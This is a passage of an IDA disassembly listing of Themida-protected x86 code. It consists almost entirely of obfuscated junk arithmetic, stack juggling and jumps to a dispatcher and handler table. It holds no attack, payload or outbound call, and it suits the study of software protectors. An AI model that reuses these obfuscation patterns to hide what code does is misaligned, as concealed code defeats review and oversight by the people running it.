; ---------------------------------------------------------------------------
loc_54F58B: ; CODE XREF: Themida_:005486AAj
push esi
jmp loc_54655E
; ---------------------------------------------------------------------------
loc_54F591: ; CODE XREF: Themida_:00544A6Ej
push ecx
jmp loc_54F506
; ---------------------------------------------------------------------------
lodsd
jmp loc_54C7A9
; ---------------------------------------------------------------------------
loc_54F59D: ; CODE XREF: Themida_:0054D92Fj
push eax
mov eax, esp
push esi
push ecx
mov ecx, 1E5B0F8Fh
jmp loc_54505A
; ---------------------------------------------------------------------------
loc_54F5AC: ; CODE XREF: Themida_:00548587j
sub eax, 7E9D791Ah
add eax, esi
add eax, 7E9D791Ah
jmp loc_54CDCD
; ---------------------------------------------------------------------------
loc_54F5BD: ; CODE XREF: Themida_:0054DC88j
xor edx, 977EDA03h
xor eax, edx
mov edx, [esp]
jmp loc_54CE49
; ---------------------------------------------------------------------------
loc_54F5CD: ; CODE XREF: Themida_:00546ED7j
push esp
pop edi
jmp loc_54D1B2
; ---------------------------------------------------------------------------
loc_54F5D4: ; CODE XREF: Themida_:00548656j
push 11A07537h
mov esi, [esp]
add esp, 4
jmp loc_5457A5
; ---------------------------------------------------------------------------
loc_54F5E4: ; CODE XREF: Themida_:00544988j
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edx
mov dl, al
jmp loc_5478CB
; ---------------------------------------------------------------------------
loc_54F605: ; CODE XREF: Themida_:0054A73Cj
shl ch, 4
shl ch, 6
not ch
add ch, 54h
push ax
mov ah, 0CCh
add ch, ah
pop ax
jmp loc_54D779
; ---------------------------------------------------------------------------
loc_54F61D: ; CODE XREF: Themida_:0054FFA5j
push dword ptr [esp]
pop ebx
add esp, 4
sub edx, eax
add edx, 1D157B2Dh
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F631: ; CODE XREF: Themida_:005474E2j
pop dword ptr [esp]
pop esp
add ebx, ebp
pop ebp
sub ebx, 3483EEFh
jmp loc_544AC5
; ---------------------------------------------------------------------------
loc_54F643: ; CODE XREF: Themida_:0054AB26j
sub esi, 11D24C00h
pop ebp
jmp loc_54FC0D
; ---------------------------------------------------------------------------
loc_54F64F: ; CODE XREF: Themida_:005461C3j
push esp
pop dword ptr [esp]
jmp loc_5440C6
; ---------------------------------------------------------------------------
loc_54F658: ; CODE XREF: Themida_:0054F997j
shr ecx, 0Ah
push ecx
sub esp, 4
jmp loc_54F9C9
; ---------------------------------------------------------------------------
loc_54F664: ; CODE XREF: Themida_:00548DE6j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], ebp
push ebx
push edi
jmp loc_5467F1
; ---------------------------------------------------------------------------
loc_54F685: ; CODE XREF: Themida_:00549FECj
add ebx, 4
jmp loc_545B49
; ---------------------------------------------------------------------------
loc_54F690: ; CODE XREF: Themida_:00544796j
pop esp
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 3CE57149h
push edi
mov edi, 6BCE165Ch
jmp loc_5497F4
; ---------------------------------------------------------------------------
loc_54F6A7: ; CODE XREF: Themida_:00547873j
mov ecx, 4
add edi, ecx
mov ecx, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
mov ebp, 0D093600h
jmp loc_544391
; ---------------------------------------------------------------------------
loc_54F6CC: ; CODE XREF: Themida_:0054C7BDj
push edi
mov edi, 2EA44FEBh
inc edi
dec edi
add edi, 31B1506Dh
add edi, 0F5BF786Eh
add ebx, edi
pop edi
add ebx, 66FC7FD2h
push 5192h
jmp loc_54E64D
; ---------------------------------------------------------------------------
loc_54F6F3: ; CODE XREF: Themida_:005482D9j
pop esp
push 22C4h
mov [esp], esi
push esp
pop esi
jmp loc_54424C
; ---------------------------------------------------------------------------
loc_54F703: ; CODE XREF: Themida_:0054CC16j
push 7921h
mov [esp], ecx
jmp loc_548163
; ---------------------------------------------------------------------------
loc_54F710: ; CODE XREF: Themida_:005487C5j
xchg eax, [esp]
pop esp
or dl, 0FDh
jmp loc_54AC37
; ---------------------------------------------------------------------------
loc_54F71C: ; CODE XREF: Themida_:005457C6j
add esp, 4
push edi
mov edi, esi
mov ebx, edi
jmp loc_545398
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54F729: ; CODE XREF: sub_545BCC+5536j
push 1FB2h
mov [esp+2+var_4+2], ebx
mov bl, 40h
sub al, bl
jmp loc_5444DA
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_54F73A: ; CODE XREF: Themida_:00545566j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F73F: ; CODE XREF: Themida_:0054E8CCj
pop edx
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 4
push esi
jmp loc_54ABF6
; ---------------------------------------------------------------------------
loc_54F755: ; CODE XREF: Themida_:0054877Bj
sub al, 43h
jmp loc_546501
; ---------------------------------------------------------------------------
loc_54F75C: ; CODE XREF: Themida_:005475E6j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_547021
; ---------------------------------------------------------------------------
loc_54F76A: ; CODE XREF: Themida_:00544183j
push ebx
mov ebx, 3ADD0726h
xor edi, ebx
pop ebx
jmp loc_549432
; ---------------------------------------------------------------------------
loc_54F778: ; CODE XREF: Themida_:00547625j
mov dl, 2
and dl, 0A9h
sub dl, 54h
not dl
or dl, 2Eh
jmp loc_545083
; ---------------------------------------------------------------------------
loc_54F78A: ; CODE XREF: Themida_:00548D05j
pop eax
add esp, 4
add esp, 4
push ecx
mov ecx, edx
mov eax, ecx
pop ecx
jmp loc_549067
; ---------------------------------------------------------------------------
loc_54F79F: ; CODE XREF: Themida_:00549C38j
pop edx
push ebp
push ecx
push edx
mov edx, 624A3627h
not edx
neg edx
or edx, 30337D31h
and edx, 705D79B7h
sub edx, 7059792Dh
mov ecx, edx
pop edx
push esi
mov esi, ecx
jmp loc_54EACA
; ---------------------------------------------------------------------------
loc_54F7C9: ; CODE XREF: Themida_:0054AEA9j
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
shr ecx, 0
or eax, eax
jz loc_547B5B
push 3D0Dh
mov [esp], ebx
push 7D36h
jmp loc_54B6BF
; ---------------------------------------------------------------------------
loc_54F7F0: ; CODE XREF: Themida_:00544D5Cj
mov eax, [esp]
push ecx
jmp loc_54D00B
; ---------------------------------------------------------------------------
loc_54F7F9: ; CODE XREF: Themida_:0054CC7Bj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F810: ; CODE XREF: Themida_:0054EAFAj
add ecx, 4
sub ecx, 4
jmp loc_546F08
; ---------------------------------------------------------------------------
loc_54F81E: ; CODE XREF: Themida_:005443F9j
pop eax
add ecx, 2
jmp loc_54FC27
; ---------------------------------------------------------------------------
loc_54F827: ; CODE XREF: Themida_:00547B72j
sub ebp, 6F3F6181h
jmp loc_5497C4
; ---------------------------------------------------------------------------
loc_54F832: ; CODE XREF: Themida_:0054D405j
mov edi, 4
sub ebx, 3B28615Dh
add ebx, 135717F7h
add ebx, edi
sub ebx, 135717F7h
push edi
mov edi, 3B28615Dh
add ebx, edi
jmp loc_54DCEF
; ---------------------------------------------------------------------------
loc_54F858: ; CODE XREF: Themida_:0054D594j
push edx
jmp loc_5461AE
; ---------------------------------------------------------------------------
loc_54F85E: ; CODE XREF: Themida_:00548129j
push ebx
mov ebx, 2
add eax, ebx
pop ebx
xchg eax, [esp]
pop esp
jmp loc_544CCB
; ---------------------------------------------------------------------------
loc_54F870: ; CODE XREF: Themida_:00548AC9j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54F87B: ; CODE XREF: Themida_:0054D5A5j
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp]
pop esp
or edx, eax
shl edx, 1
push esi
jmp loc_54AF6F
; ---------------------------------------------------------------------------
loc_54F894: ; CODE XREF: Themida_:005488B0j
pop cx
inc ch
shl ch, 8
push bx
push ecx
mov ch, 0F3h
mov bh, ch
jmp loc_54442D
; ---------------------------------------------------------------------------
loc_54F8A7: ; CODE XREF: Themida_:0054F501j
sub eax, ebp
pop ebp
inc eax
dec eax
sub eax, 4EBF657Ah
jmp loc_547545
; ---------------------------------------------------------------------------
loc_54F8B6: ; CODE XREF: Themida_:0054A013j
mov ebp, 4
sub dword ptr [esp+4], 61777AB1h
jmp loc_54C3FA
; ---------------------------------------------------------------------------
loc_54F8C8: ; CODE XREF: Themida_:0054C0E9j
mov dword ptr [edx+38h], 3CAE0AB3h
neg dword ptr [edx+38h]
jmp loc_54F060
; ---------------------------------------------------------------------------
loc_54F8D7: ; CODE XREF: Themida_:0054D1ADj
sub ebp, ecx
mov ecx, ebp
pop ebp
push esi
jmp loc_54AEE6
; ---------------------------------------------------------------------------
loc_54F8E2: ; CODE XREF: Themida_:00546114j
sub eax, 413B6CA7h
jmp loc_54A543
; ---------------------------------------------------------------------------
loc_54F8EC: ; CODE XREF: Themida_:0054B72Fj
push esi
mov esi, 4
add ebp, esi
pop esi
push 1DF3h
mov [esp], ebp
jmp loc_54EEEC
; ---------------------------------------------------------------------------
loc_54F902: ; CODE XREF: Themida_:00547D2Dj
xor ebp, 53ECD23Ah
add edx, ebp
jmp loc_547C7B
; ---------------------------------------------------------------------------
loc_54F90F: ; CODE XREF: Themida_:0054D4B8j
dec eax
jmp loc_54E115
; ---------------------------------------------------------------------------
loc_54F915: ; CODE XREF: Themida_:0054827Aj
pop edi
xor esi, ebx
pop ebx
sub eax, esi
jmp loc_545C10
; ---------------------------------------------------------------------------
loc_54F920: ; CODE XREF: Themida_:0054903Ej
pop ebp
jmp loc_549695
; ---------------------------------------------------------------------------
loc_54F926: ; CODE XREF: Themida_:0054E0CAj
mov ebp, 521862C9h
push ecx
jmp loc_5470CD
; ---------------------------------------------------------------------------
loc_54F931: ; CODE XREF: Themida_:0054FE68j
add esp, 4
jmp loc_54A1FA
; ---------------------------------------------------------------------------
loc_54F939: ; CODE XREF: Themida_:005469C8j
add esp, 4
jmp loc_545636
; ---------------------------------------------------------------------------
loc_54F941: ; CODE XREF: Themida_:0054C71Fj
mov dl, 9Ch
add dl, 0EBh
jmp loc_545DE7
; ---------------------------------------------------------------------------
loc_54F94B: ; CODE XREF: Themida_:00545D79j
and ecx, ebx
mov ebx, [esp]
add esp, 4
push esi
mov esi, 45AB73E7h
and esi, 29A77746h
add esi, 10E064E7h
shr esi, 2
inc esi
add esi, 44ED5E44h
and ecx, esi
pop esi
dec ecx
push ebx
mov ebx, 160E300Eh
and ecx, ebx
pop ebx
push eax
jmp loc_546201
; ---------------------------------------------------------------------------
loc_54F982: ; CODE XREF: Themida_:0054D7AEj
shl edx, 8
xor edx, 79389D01h
sub edi, edx
pop edx
add edi, 0C394F1F2h
and ecx, edi
pop edi
jmp loc_54F658
; ---------------------------------------------------------------------------
loc_54F99C: ; CODE XREF: Themida_:0054A813j
add esp, 4
add esp, 4
jmp loc_549568
; ---------------------------------------------------------------------------
loc_54F9A7: ; CODE XREF: Themida_:0054DE44j
mov ecx, 17C14EBCh
xor ecx, 1DEA7283h
sub ebx, ecx
pop ecx
add ebp, ebx
pop ebx
push edi
mov edi, 152913ECh
xchg ecx, edi
not ecx
xchg ecx, edi
jmp loc_54A356
; ---------------------------------------------------------------------------
loc_54F9C9: ; CODE XREF: Themida_:0054F65Fj
mov [esp], ebx
jmp loc_547592
; ---------------------------------------------------------------------------
loc_54F9D1: ; CODE XREF: Themida_:005480FBj
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_546C5C
; ---------------------------------------------------------------------------
loc_54F9F1: ; CODE XREF: Themida_:00546658j
push edx
push eax
jmp loc_547F3A
; ---------------------------------------------------------------------------
push 6908h
mov [esp], eax
push edi
jmp loc_547821
; ---------------------------------------------------------------------------
loc_54FA06: ; CODE XREF: Themida_:0054FA85j
mov edi, 125F22B1h
add esi, edi
pop edi
jmp loc_54958B
; ---------------------------------------------------------------------------
loc_54FA13: ; CODE XREF: Themida_:0054E55Dj
mov edi, [esp]
add esp, 4
push eax
push ecx
pop eax
jmp loc_545881
; ---------------------------------------------------------------------------
loc_54FA24: ; CODE XREF: Themida_:0054ECB8j
mov ebx, [esp]
add esp, 4
jmp loc_54B422
; ---------------------------------------------------------------------------
loc_54FA32: ; CODE XREF: Themida_:00547956j
shl edx, 6
push ebx
jmp loc_54E31E
; ---------------------------------------------------------------------------
loc_54FA3B: ; CODE XREF: Themida_:00549356j
pop ecx
pop esi
add esi, 4
push ebp
mov ebp, 4
jmp loc_54628E
; ---------------------------------------------------------------------------
loc_54FA4E: ; CODE XREF: Themida_:0054E452j
push eax
mov eax, 265913F8h
push edx
mov edx, 326D14D5h
jmp loc_5440EB
; ---------------------------------------------------------------------------
loc_54FA5F: ; CODE XREF: Themida_:0054A221j
xchg esi, [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push edi
push ebp
mov ebp, 76F00ABAh
mov edi, ebp
pop ebp
jmp loc_54C7C2
; ---------------------------------------------------------------------------
loc_54FA77: ; CODE XREF: Themida_:00547ABCj
mov [esp], ebp
mov ebp, 36926E3Fh
jmp loc_547A2C
; ---------------------------------------------------------------------------
loc_54FA84: ; CODE XREF: Themida_:00546A7Bj
push edi
jmp loc_54FA06
; ---------------------------------------------------------------------------
loc_54FA8A: ; CODE XREF: Themida_:00546E89j
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], edx
mov edx, 43EB4A05h
push edx
not dword ptr [esp]
pop edx
jmp loc_5496D7
; ---------------------------------------------------------------------------
loc_54FAA3: ; CODE XREF: Themida_:00547A80j
pop edx
sub esp, 4
jmp loc_54716F
; ---------------------------------------------------------------------------
loc_54FAAF: ; CODE XREF: Themida_:0054F044j
push ebp
mov bp, 2AA4h
shl bp, 2
dec bp
inc bp
sub bp, 6869h
jmp loc_546539
; ---------------------------------------------------------------------------
loc_54FAC6: ; CODE XREF: Themida_:0054ECEFj
add ebp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push ebx
mov bh, dl
push ecx
push eax
mov ah, bh
push edx
mov dh, ah
mov ch, dh
mov edx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
mov [edi+eax*4+1], ch
pop ecx
mov ebx, [esp]
push esi
jmp loc_54944A
; ---------------------------------------------------------------------------
loc_54FB07: ; CODE XREF: Themida_:00549769j
push edx
jmp loc_5443D3
; ---------------------------------------------------------------------------
loc_54FB0D: ; CODE XREF: Themida_:00544689j
mov edi, 15202CCh
sub ecx, edi
pop edi
mov edx, ecx
jmp loc_54C9EC
; ---------------------------------------------------------------------------
loc_54FB1C: ; CODE XREF: Themida_:0054ED68j
sub dword ptr [esp+8], 2A68748Fh
add [esp+8], edi
add dword ptr [esp+8], 2A68748Fh
pop edi
jmp loc_54E96A
; ---------------------------------------------------------------------------
loc_54FB36: ; CODE XREF: Themida_:0054D196j
sub ebp, 4
xor ebp, [esp]
jmp loc_5496E3
; ---------------------------------------------------------------------------
loc_54FB44: ; CODE XREF: Themida_:00545A3Cj
pop eax
xchg ecx, [esp]
pop esp
mov [esp], eax
push 66D7h
mov [esp], esp
jmp loc_54F03A
; ---------------------------------------------------------------------------
loc_54FB59: ; CODE XREF: Themida_:005445EDj
xchg esi, [esp]
mov esp, [esp]
push ecx
jmp loc_548141
; ---------------------------------------------------------------------------
loc_54FB65: ; CODE XREF: Themida_:005488D9j
push 36C1h
mov [esp], eax
mov eax, 33292459h
add esi, eax
pop eax
pop ecx
sub esi, 2
push esi
jmp loc_5499C6
; ---------------------------------------------------------------------------
loc_54FB82: ; CODE XREF: Themida_:0054AF86j
sub edx, 3B6F592Ah
jmp loc_544DBC
; ---------------------------------------------------------------------------
loc_54FB8D: ; CODE XREF: Themida_:00544EFAj
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_54AEA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_54FBB2: ; CODE XREF: sub_545BCC+A43Dj
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
jmp loc_54E3E0
; ---------------------------------------------------------------------------
loc_54FBBD: ; CODE XREF: Themida_:loc_54534Dj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_544B72
; ---------------------------------------------------------------------------
loc_54FBCB: ; CODE XREF: Themida_:0054659Cj
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_54E712
; ---------------------------------------------------------------------------
loc_54FBE1: ; CODE XREF: Themida_:0054D801j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FBE6: ; CODE XREF: Themida_:00545104j
push 5A07h
mov [esp], eax
mov eax, 1316B3A2h
xor edx, eax
jmp loc_5454CE
; ---------------------------------------------------------------------------
loc_54FBFA: ; CODE XREF: Themida_:0054B11Cj
add edx, edi
pop edi
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FC02: ; CODE XREF: Themida_:0054CD58j
add eax, edi
mov edi, [esp]
push ecx
jmp loc_54E4A8
; ---------------------------------------------------------------------------
loc_54FC0D: ; CODE XREF: Themida_:0054F64Aj
push ebx
jmp loc_54C1FC
; ---------------------------------------------------------------------------
loc_54FC13: ; CODE XREF: Themida_:0054B758j
and ebp, 4D5F0C46h
sub ebp, 62FC90h
sub eax, ebp
pop ebp
jmp loc_548EB8
; ---------------------------------------------------------------------------
loc_54FC27: ; CODE XREF: Themida_:0054F822j
xchg ecx, [esp]
pop esp
mov ax, [esp]
push ebp
push esp
push dword ptr [esp]
pop ebp
jmp loc_5498E1
; ---------------------------------------------------------------------------
loc_54FC3A: ; CODE XREF: Themida_:00544487j
mov [esp], eax
mov eax, 44716349h
sub edx, 56DB65EBh
sub edx, eax
add edx, 56DB65EBh
mov eax, [esp]
jmp loc_54C5CA
; ---------------------------------------------------------------------------
loc_54FC58: ; CODE XREF: Themida_:0054842Fj
sub esp, 4
jmp loc_54AB0A
; ---------------------------------------------------------------------------
loc_54FC63: ; CODE XREF: Themida_:0054467Aj
mov ecx, 4
jmp loc_544093
; ---------------------------------------------------------------------------
loc_54FC6D: ; CODE XREF: Themida_:005475C9j
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FC79: ; CODE XREF: Themida_:0054E34Ej
pop eax
add esp, 4
jmp loc_548AAF
; ---------------------------------------------------------------------------
loc_54FC82: ; CODE XREF: Themida_:00545B44j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FC87: ; CODE XREF: Themida_:0054F294j
add dl, 0CBh
jmp loc_54B532
; ---------------------------------------------------------------------------
loc_54FC8F: ; CODE XREF: Themida_:005446F5j
mov ecx, [esp]
add esp, 4
sub dword ptr [esp+4], 253E194Fh
pop ecx
pop ebp
push edx
mov edx, 3EC54E6Ah
add ebp, edx
pop edx
push 5E07h
mov [esp], ebp
pop dword ptr [edi+20h]
pop ebp
jmp loc_547A49
; ---------------------------------------------------------------------------
loc_54FCBC: ; CODE XREF: Themida_:00545B9Ej
mov edi, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
xor ecx, 39745315h
xor eax, ecx
mov ecx, [esp]
add esp, 4
add ebx, 3483EEFh
push 2168h
jmp loc_54EB0E
; ---------------------------------------------------------------------------
loc_54FCFB: ; CODE XREF: Themida_:0054DD98j
add edx, 4
jmp loc_54E3F6
; ---------------------------------------------------------------------------
loc_54FD06: ; CODE XREF: Themida_:00544C70j
sub ebp, 0D06ADFh
add edx, ebp
pop ebp
sub edx, 2
xchg edx, [esp]
pop esp
mov [esp], cx
mov cx, 298Dh
add bx, cx
pop cx
movzx eax, ax
push small 1A32h
mov [esp], ax
jmp loc_544022
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push esi
push esi
jmp loc_545798
; ---------------------------------------------------------------------------
loc_54FD3E: ; CODE XREF: Themida_:0054EA35j
and eax, ecx
mov ecx, [esp]
add esp, 4
or edx, eax
jmp loc_5458C5
; ---------------------------------------------------------------------------
loc_54FD4D: ; CODE XREF: Themida_:0054C901j
add eax, edi
pop edi
xchg eax, [esp]
pop esp
push ebx
jmp loc_545AF3
; ---------------------------------------------------------------------------
loc_54FD5A: ; CODE XREF: Themida_:00545D57j
add edi, ebp
jmp loc_54A5C3
; ---------------------------------------------------------------------------
loc_54FD61: ; CODE XREF: Themida_:0054F104j
mov [esp], ebx
mov ebx, 1EE73C9Bh
xor ebx, 1EE73C9Fh
push ebx
mov ebx, 3F3C267Fh
add edi, ebx
pop ebx
sub edi, 653242CEh
add edi, ebx
add edi, 653242CEh
jmp loc_5471A8
; ---------------------------------------------------------------------------
loc_54FD8B: ; CODE XREF: Themida_:0054DA68j
dec ebp
push ebp
jmp loc_549BDF
; ---------------------------------------------------------------------------
loc_54FD92: ; CODE XREF: Themida_:00544544j
add ebx, 2
xchg ebx, [esp]
pop esp
jmp loc_54B6D0
; ---------------------------------------------------------------------------
loc_54FDA1: ; CODE XREF: Themida_:00545AC4j
xor edx, 6E1674FCh
dec edx
add edx, 1
xor edx, 7C3C3F85h
jmp loc_54E524
; ---------------------------------------------------------------------------
loc_54FDB6: ; CODE XREF: Themida_:0054B3F9j
pop ebx
mov edi, [esp]
jmp loc_546566
; ---------------------------------------------------------------------------
loc_54FDBF: ; CODE XREF: Themida_:0054F11Ej
push edx
mov dl, 85h
jmp loc_548434
; ---------------------------------------------------------------------------
loc_54FDC7: ; CODE XREF: Themida_:0054B85Cj
add edi, 0FFFFFFFFh
jmp loc_54ECF4
; ---------------------------------------------------------------------------
loc_54FDCF: ; CODE XREF: Themida_:0054A175j
inc esi
shl esi, 2
jmp loc_54691A
; ---------------------------------------------------------------------------
loc_54FDD8: ; CODE XREF: Themida_:0054B94Bj
sub bl, 0Eh
pop ax
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FDE8: ; CODE XREF: Themida_:005445F8j
add ebp, edi
sub ebp, 57CE1283h
mov edi, [esp]
add esp, 4
push 82Eh
jmp loc_54CB72
; ---------------------------------------------------------------------------
loc_54FE03: ; CODE XREF: Themida_:0054BEBBj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 0DDDh
jmp loc_54B33C
; ---------------------------------------------------------------------------
loc_54FE17: ; CODE XREF: Themida_:0054A38Bj
push esi
mov esi, 4984389Fh
and esi, 6D0719A2h
inc esi
or esi, 6E613B9Fh
and esi, 6BB36D50h
sub esi, 3D48C9A7h
jmp loc_54B844
; ---------------------------------------------------------------------------
loc_54FE3B: ; CODE XREF: Themida_:0054D8A4j
sub eax, 42E85E6Dh
neg eax
shr eax, 1
jmp loc_547078
; ---------------------------------------------------------------------------
loc_54FE49: ; CODE XREF: Themida_:0054607Aj
xchg eax, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FE58: ; CODE XREF: Themida_:0054B1DDj
push edx
jmp loc_5495A2
; ---------------------------------------------------------------------------
loc_54FE5E: ; CODE XREF: Themida_:0054B406j
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
jmp loc_54F931
; ---------------------------------------------------------------------------
loc_54FE6D: ; CODE XREF: Themida_:0054B13Fj
sub esi, 5732257Dh
jmp loc_54E3B0
; ---------------------------------------------------------------------------
loc_54FE78: ; CODE XREF: Themida_:00548F10j
mov esp, [esp]
jmp loc_544F2C
; ---------------------------------------------------------------------------
loc_54FE80: ; CODE XREF: Themida_:0054617Dj
mov esp, [esp]
pop esi
not esi
jmp loc_546210
; ---------------------------------------------------------------------------
loc_54FE8B: ; CODE XREF: Themida_:0054EE01j
neg edi
add edi, 2C8BE6E1h
sub ebp, 37370C63h
add ebp, edi
add ebp, 37370C63h
mov edi, [esp]
push eax
jmp loc_54A244
; ---------------------------------------------------------------------------
loc_54FEAA: ; CODE XREF: Themida_:00548617j
pop esi
sub esp, 4
mov [esp], eax
jmp loc_548ACE
; ---------------------------------------------------------------------------
loc_54FEB6: ; CODE XREF: Themida_:0054AB7Dj
sub edx, 7D7D7FF3h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
xor ebx, eax
push small word ptr [eax]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54FED9: ; CODE XREF: Themida_:005472FEj
push small 320Bh
jmp loc_547FAF
; ---------------------------------------------------------------------------
loc_54FEE2: ; CODE XREF: Themida_:00548F57j
mov esi, 4
mov ecx, esi
jmp loc_54925F
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
push esp
pop edx
push 3DAAh
mov [esp], esi
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 52064FB5h
mov ecx, 0D854DF95h
jmp loc_544716
; ---------------------------------------------------------------------------
loc_54FF1B: ; CODE XREF: Themida_:0054B916j
push edi
jmp loc_54EDF9
; ---------------------------------------------------------------------------
loc_54FF21: ; CODE XREF: Themida_:0054E715j
xchg esi, [esp]
pop esp
jmp near ptr word_545C7A
; ---------------------------------------------------------------------------
loc_54FF2A: ; CODE XREF: Themida_:00544940j
pop eax
xor esi, 206E1CD5h
and esi, 768903D2h
shr esi, 3
sub esi, 0B31CC109h
sub edi, esi
jmp loc_546DAA
; ---------------------------------------------------------------------------
loc_54FF47: ; CODE XREF: Themida_:00547F35j
add eax, 3F230D1Ch
jmp loc_549B41
; ---------------------------------------------------------------------------
loc_54FF51: ; CODE XREF: Themida_:0054C5E7j
xor edi, 1828550Eh
add edi, 5046AEDh
dec edi
sub edi, 276D8FBCh
add edx, edi
pop edi
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, esp
push edx
mov edx, 59805B3Fh
jmp loc_547E02
; ---------------------------------------------------------------------------
loc_54FF81: ; CODE XREF: Themida_:0054D067j
pop edx
shr ecx, 7
push ebx
push edi
mov edi, 3F177F38h
not edi
or edi, 7C817DA4h
jmp loc_546AD4
; ---------------------------------------------------------------------------
loc_54FF99: ; CODE XREF: Themida_:0054F571j
pop edx
jmp loc_5468C0
; ---------------------------------------------------------------------------
loc_54FF9F: ; CODE XREF: Themida_:005472BFj
pop ecx
sub ebx, ebp
pop ebp
sub edx, ebx
jmp loc_54F61D
; ---------------------------------------------------------------------------
loc_54FFAA: ; CODE XREF: Themida_:0054D4D5j
and ecx, 5CEF12CFh
jmp loc_5488B5
; ---------------------------------------------------------------------------
loc_54FFB5: ; CODE XREF: Themida_:005459DDj
pop ebp
add ebx, edx
pop edx
jmp loc_54D88C
; ---------------------------------------------------------------------------
loc_54FFBE: ; CODE XREF: Themida_:00547DC2j
pop dword ptr [esp]
jmp loc_548100
; ---------------------------------------------------------------------------
loc_54FFC6: ; CODE XREF: Themida_:00547EABj
pop esp
movzx ecx, ax
push ecx
mov ecx, esp
add ecx, 4
push ebp
sub esp, 4
mov [esp], edi
mov edi, 13465D77h
inc edi
jmp loc_5451BE
; ---------------------------------------------------------------------------
loc_54FFE8: ; CODE XREF: Themida_:0054DDCEj
push cx
mov ch, 66h
jmp loc_5497B2
; ---------------------------------------------------------------------------
loc_54FFF1: ; CODE XREF: Themida_:00548B33j
mov ebx, 2FBD16EBh
jmp loc_54A2DB
; ---------------------------------------------------------------------------
loc_54FFFB: ; CODE XREF: Themida_:0054932Bj
mov [esp], edx
jmp loc_5467E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_550003: ; CODE XREF: sub_545BCC+5DC2j
add esp, 4
jmp loc_54FBB2
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_55000E: ; CODE XREF: Themida_:0054BBDEj
bts [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_550019: ; CODE XREF: Themida_:00548EB3j
xor edx, [esp]
jmp loc_54D6AE
; ---------------------------------------------------------------------------
loc_550021: ; CODE XREF: Themida_:0054DA86j
add eax, ebp
pop ebp
push eax
jmp loc_54B75D
; ---------------------------------------------------------------------------
loc_55002A: ; CODE XREF: Themida_:0054E0D7j
add edi, eax
jmp loc_549E50
; ---------------------------------------------------------------------------
loc_550031: ; CODE XREF: Themida_:00545C8Dj
mov [esp], edi
push ebp
mov ebp, 2
mov edi, ebp
pop ebp
add ebp, edi
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_550055: ; CODE XREF: Themida_:005476C0j
pop ebp
add edx, eax
sub edx, 278F4DA3h
push ebx
mov ebx, 3C151A2h
not ebx
jmp loc_544B15
; ---------------------------------------------------------------------------
loc_55006B: ; CODE XREF: Themida_:0054A0B8j
push esp
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 33B05D7Fh
add ebx, 4656C8Dh
jmp loc_54BF49
; ---------------------------------------------------------------------------
loc_550086: ; CODE XREF: Themida_:0054F265j
inc cl
push edx
mov dh, 45h
jmp loc_54737E
; ---------------------------------------------------------------------------
loc_550090: ; CODE XREF: Themida_:0054627Cj
pop eax
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], ebp
